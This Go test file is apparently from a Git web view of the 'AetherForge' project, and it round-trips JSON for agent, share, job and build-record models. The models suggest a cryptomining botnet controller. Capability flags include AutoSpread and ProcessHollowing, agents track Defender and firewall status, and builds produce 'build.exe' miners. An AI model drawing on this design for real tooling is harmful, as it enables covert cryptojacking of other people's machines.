Files
AetherForge/server/internal/models/agent_test.go
AetherForge feba06e008 Improve portable launch, forge persistence, and operator auth UX.
Persist build extra_files for Build Manager history, print dashboard login on every start, add libp2p for Mesh P2P forge, defer WebSocket until login, and split devrun.bat from LAUNCH.bat with USB deck auto-detection.
2026-05-31 18:56:43 -07:00

171 lines
4.7 KiB
Go

package models
import (
"encoding/json"
"testing"
"time"
)
func roundTripJSON(t *testing.T, v any) {
t.Helper()
b, err := json.Marshal(v)
if err != nil {
t.Fatalf("marshal: %v", err)
}
ptr := newSameType(v)
if err := json.Unmarshal(b, ptr); err != nil {
t.Fatalf("unmarshal: %v\njson: %s", err, string(b))
}
}
func newSameType(v any) any {
switch v.(type) {
case Agent:
return &Agent{}
case AgentService:
return &AgentService{}
case AgentCapabilities:
return &AgentCapabilities{}
case Share:
return &Share{}
case HashrateSample:
return &HashrateSample{}
case Job:
return &Job{}
case BuildRecord:
return &BuildRecord{}
default:
panic("unsupported type")
}
}
func TestAgentJSONRoundTrip(t *testing.T) {
now := time.Date(2026, 5, 30, 12, 0, 0, 0, time.UTC)
cpuFreq := 3200
cpuMax := 4000
throttle := true
cpuTemp := 72
diskFree := 120.5
diskTotal := 512.0
diskPct := 23
gpuTemp := 65
gpuUsage := 40
ssh := true
defender := true
rtp := false
fwDomain := true
fwPrivate := false
fwPublic := true
patchDays := 14
patch := "2026-05-01"
pending := 3
reboot := false
elevated := true
agent := Agent{
ID: "agent-1", Name: "worker-a", Wallet: "48abc", IP: "10.0.0.5",
Version: "1.0", Status: "online", CPUCores: 8, MemoryGB: 16,
LastSeen: now, CreatedAt: now.Add(-time.Hour),
Hashrate15s: 1200, Hashrate1m: 1180, Hashrate15m: 1150,
SharesTotal: 100, SharesGood: 98, SharesBad: 2,
CPUUsagePct: 55.5, MemoryUsagePct: 42.0, UptimeSeconds: 3600,
Notes: "lab node", Tags: []string{"gpu", "windows"},
Platform: "windows", Arch: "amd64", OSVersion: "10.0.26200",
Capabilities: &AgentCapabilities{
HolePunch: true, RemoteAggressive: false, MeshP2P: false,
AutoSpread: false, ProcessHollowing: false, AIEnabled: true,
},
CPUFreqMHz: &cpuFreq, CPUMaxMHz: &cpuMax, CPUThrottle: &throttle,
CPUTempC: &cpuTemp, DiskFreeGB: &diskFree, DiskTotalGB: &diskTotal,
DiskFreePct: &diskPct, GPUTempC: &gpuTemp, GPUUsagePct: &gpuUsage,
SSHAvailable: &ssh, PostureScore: 80,
DefenderEnabled: &defender, DefenderRTP: &rtp,
AVProducts: []string{"Windows Defender"},
FirewallDomain: &fwDomain, FirewallPrivate: &fwPrivate, FirewallPublic: &fwPublic,
LastPatchDays: &patchDays, LastPatch: &patch, PendingUpdates: &pending,
RebootPending: &reboot, AgentElevated: &elevated,
Services: []AgentService{
{Name: "WinDefend", DisplayName: "Defender", Status: "running", StartType: "auto"},
},
}
roundTripJSON(t, agent)
}
func TestAgentServiceJSONRoundTrip(t *testing.T) {
roundTripJSON(t, AgentService{
Name: "sshd", DisplayName: "OpenSSH", Status: "running", StartType: "manual",
})
}
func TestAgentCapabilitiesJSONRoundTrip(t *testing.T) {
roundTripJSON(t, AgentCapabilities{
HolePunch: true, RemoteAggressive: true, MeshP2P: true,
AutoSpread: true, ProcessHollowing: true, AIEnabled: true,
})
}
func TestShareJSONRoundTrip(t *testing.T) {
roundTripJSON(t, Share{
ID: 42, AgentID: "a1", JobID: "j1", Difficulty: 100000,
Accepted: true, Hash: "abc", Nonce: "deadbeef", Timestamp: time.Now().UTC(),
})
}
func TestShareJSONOmitsEmptyError(t *testing.T) {
s := Share{ID: 1, AgentID: "a", JobID: "j", Accepted: false, Timestamp: time.Now().UTC()}
b, _ := json.Marshal(s)
if string(b) != "" && containsField(string(b), "error") {
// error field should be omitted when empty
var m map[string]any
_ = json.Unmarshal(b, &m)
if _, ok := m["error"]; ok {
t.Fatal("empty error should be omitted")
}
}
}
func containsField(jsonStr, field string) bool {
var m map[string]any
if err := json.Unmarshal([]byte(jsonStr), &m); err != nil {
return false
}
_, ok := m[field]
return ok
}
func TestHashrateSampleJSONRoundTrip(t *testing.T) {
roundTripJSON(t, HashrateSample{
ID: 1, AgentID: "a1", Hashrate: 999.5, Timestamp: time.Now().UTC(),
})
}
func TestJobJSONRoundTrip(t *testing.T) {
roundTripJSON(t, Job{
ID: "job-1", Height: 2800000, Difficulty: 500000,
BlockTemplate: "template", SeedHash: "seed", Target: "target",
CreatedAt: time.Now().UTC(),
})
}
func TestBuildRecordJSONRoundTrip(t *testing.T) {
roundTripJSON(t, BuildRecord{
ID: "build-1", WorkerName: "w", ServerURL: "https://hub", Wallet: "48x",
Threads: 4, FileSize: 1024, BundleSize: 2048,
FilePath: "/data/build.exe", FileName: "build.exe",
DownloadURL: "/api/v1/builds/build-1/download", Platform: "windows",
ExtraFiles: []BuildExtraFile{{FileName: "README.txt"}},
CreatedAt: time.Now().UTC(), Pinned: true,
PoolHost: "pool.example.com", PoolPort: 3333, PoolTLS: true, PoolPass: "x",
})
}
func TestAgentMinimalJSON(t *testing.T) {
var out Agent
if err := json.Unmarshal([]byte(`{"id":"x","status":"offline"}`), &out); err != nil {
t.Fatal(err)
}
if out.ID != "x" || out.Status != "offline" {
t.Fatalf("unexpected: %+v", out)
}
}